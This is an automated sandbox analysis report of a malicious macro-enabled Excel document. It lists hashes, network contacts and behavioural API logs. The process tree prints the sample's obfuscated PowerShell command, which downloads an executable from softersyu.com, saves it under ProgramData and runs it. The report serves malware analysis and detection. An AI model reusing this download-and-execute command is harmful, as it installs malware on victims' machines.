Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Aug. 4, 2021, 12:15 p.m.	Aug. 4, 2021, 12:17 p.m.

Size	47.3KB
Type	Microsoft Excel 2007+
MD5	`3823aa0c8a9a48d236cce65b53bc9c6b`
SHA256	`20f8bd13bdcb85b3586ed8373a98722550aae1b898157779d16d7f19833b0d6a`
CRC32	`B17B647D`
ssdeep	`768:hKphj2IvOGNWqfISGBnXKIg2TPacxD5SGj2y+bgPnrHS4JwM5iQ/6er8LqrXoMEY:4WaOVAIrBnkWycxlr2gPnW4Jt54er1V`
Yara	Contains_VBA_macro_code - Detect a MS Office document with embedded VBA macro code [binaries]

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office15\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\document.xlsm
1728
cmd.exe cmd.exe /c "powershell -ExecutionPolicy BypasS -ENC JAByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AcwBvAGYAdABlAHIAcwB5AHUALgBjAG8AbQAvAGEAcABpAC8AdgAzAC8AZABlAHQAZQByAG0AaQBuAGEAbgB0AHMALwBiAGUAdAB1AGwAaQBuAGkAYwAvAG0AdQBkAG0AaQBuAG4AbwB3AHMAIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAkAG0AZQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACQAcgBlAHEALgBDAG8AcAB5AFQAbwAoACQAbQBlAG0AKQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBvAGYAdABlAHIAcwB5AHUAIABNAGEAbgBhAGcAZQByAC4AZQB4AGUAIgAgAC0AVgBhAGwAdQBlACAAJABtAGUAbQAuAFQAbwBBAHIAcgBhAHkAKAApACAALQBFAG4AYwBvAGQAaQBuAGcAIABCAHkAdABlAAoAJAByAGUAcQAuAEMAbABvAHMAZQAoACkACgAkAG0AZQBtAC4AQwBsAG8AcwBlACgAKQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBvAGYAdABlAHIAcwB5AHUAIABNAGEAbgBhAGcAZQByAC4AZQB4AGUAIgA="
1716
- powershell.exe powershell -ExecutionPolicy BypasS -ENC JAByAGUAcQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AcwBvAGYAdABlAHIAcwB5AHUALgBjAG8AbQAvAGEAcABpAC8AdgAzAC8AZABlAHQAZQByAG0AaQBuAGEAbgB0AHMALwBiAGUAdAB1AGwAaQBuAGkAYwAvAG0AdQBkAG0AaQBuAG4AbwB3AHMAIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAkAG0AZQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACQAcgBlAHEALgBDAG8AcAB5AFQAbwAoACQAbQBlAG0AKQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBvAGYAdABlAHIAcwB5AHUAIABNAGEAbgBhAGcAZQByAC4AZQB4AGUAIgAgAC0AVgBhAGwAdQBlACAAJABtAGUAbQAuAFQAbwBBAHIAcgBhAHkAKAApACAALQBFAG4AYwBvAGQAaQBuAGcAIABCAHkAdABlAAoAJAByAGUAcQAuAEMAbABvAHMAZQAoACkACgAkAG0AZQBtAC4AQwBsAG8AcwBlACgAKQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBvAGYAdABlAHIAcwB5AHUAIABNAGEAbgBhAGcAZQByAC4AZQB4AGUAIgA=
  2000

Name	Response	Post-Analysis Lookup
softersyu.com	A 206.189.28.225	206.189.28.225

IP Address	Status	Action
164.124.101.2	Active	Moloch
206.189.28.225	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 4, 2021, 12:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 4, 2021, 12:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 4, 2021, 12:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 4, 2021, 12:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 4, 2021, 12:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 4, 2021, 12:15 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 4, 2021, 12:15 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 4, 2021, 12:15 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (49 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001ff910 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cdb70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cdb70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cdfd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cdfd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cdfd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cdfd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce430 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce430 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce430 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cdf60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cdf60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cdf60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce2e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce2e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce2e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce2e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce2e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce2e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce2e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce2e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce970 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce970 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5ce970 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cea50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5cea50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000020cea0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000020cea0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000020d1b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000020d1b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000020d1b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6a40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6a40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6a40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f6a40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f7680 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f7680 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612950 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b6129c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612a30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612950 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 4, 2021, 12:16 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b612950 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 4, 2021, 12:15 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 3861 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bede000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e5000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:15 p.m.	process_identifier: 1728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0651d000 process_handle: 0xffffffff	1

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$document.xlsm

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
